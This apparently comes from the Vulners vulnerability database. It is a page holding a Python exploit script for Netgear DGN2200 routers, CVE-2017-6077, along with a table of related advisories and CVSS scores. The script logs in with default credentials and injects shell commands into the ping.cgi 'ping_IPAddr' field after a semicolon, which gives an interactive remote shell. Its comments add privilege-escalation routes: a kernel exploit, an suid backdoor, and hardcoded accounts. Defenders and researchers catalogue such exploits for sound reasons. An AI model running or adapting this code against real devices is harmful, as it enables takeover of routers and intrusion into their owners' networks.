Netgear DGN2200v1/v2/v3/v4 - 'ping.cgi' Remote Command Execution
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| NETGEAR DGN2200 v1/v2/v3/v4 - Cross-Site Request Forgery Vulnerability | 28 Feb 201700:00 | – | zdt | |
| VideoLAN VLC Media Player 2.2.5 EphemeralCockroach Heap Overflow Exploit | 4 Mar 201800:00 | – | zdt | |
| CVE-2017-6334 | 6 Mar 201700:00 | – | attackerkb | |
| CVE-2017-6077 | 22 Feb 201700:00 | – | attackerkb | |
| The vulnerability of the ping.cgi script in NETGEAR DGN2200v1 integrated router software allows a hacker to execute arbitrary commands and gain full control over the device. | 14 Dec 201700:00 | – | bdu_fstec | |
| CVE-2017-6077 | 24 May 201815:44 | – | circl | |
| NETGEAR DGN2200 Remote Code Execution Vulnerability | 7 Mar 202200:00 | – | cisa_kev | |
| CISA Adds 11 Known Exploited Vulnerabilities to Catalog | 7 Mar 202200:00 | – | cisa | |
| NETGEAR DGN2200 Arbitrary Command Execution Vulnerability | 23 Feb 201700:00 | – | cnvd | |
| NETGEAR DGN2200 Remote Code Execution (CVE-2017-5521; CVE-2017-6077) | 24 May 201800:00 | – | checkpoint_advisories |
10
#!/usr/bin/python
#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon along with the 2nd vuln)
#Pozdrawiam: Kornela, Komara i Sknerusa
import sys
import requests
#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to
login = 'admin'
password = 'password'
def main():
if len(sys.argv) < 2 or len(sys.argv) == 3:
print "./netgearpwn.py <router ip>"
return
spawnShell()
def execute(cmd):
r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping':"Ping", 'ping_IPAddr':"12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"})
result = parseOutput(r.text)
return result
def spawnShell():
r = execute("echo pwn3d")
if any("pwn3d" in s for s in r) == False:
print "Something went wrong, is the system vulnerable? Are the credentials correct?"
return
while True:
cmd = raw_input("$ ")
r = execute(cmd)
for l in r:
print l.encode("utf-8")
def parseOutput(output):
yet = False
a = False
result = []
for line in output.splitlines():
if line.startswith("<textarea"):
yet = True
continue
if yet == True:
if line.startswith("</textarea>"):
break
result.append(line)
return result
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Feb 2017 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 3.19.8
CVSS 210
EPSS0.68201
SSVC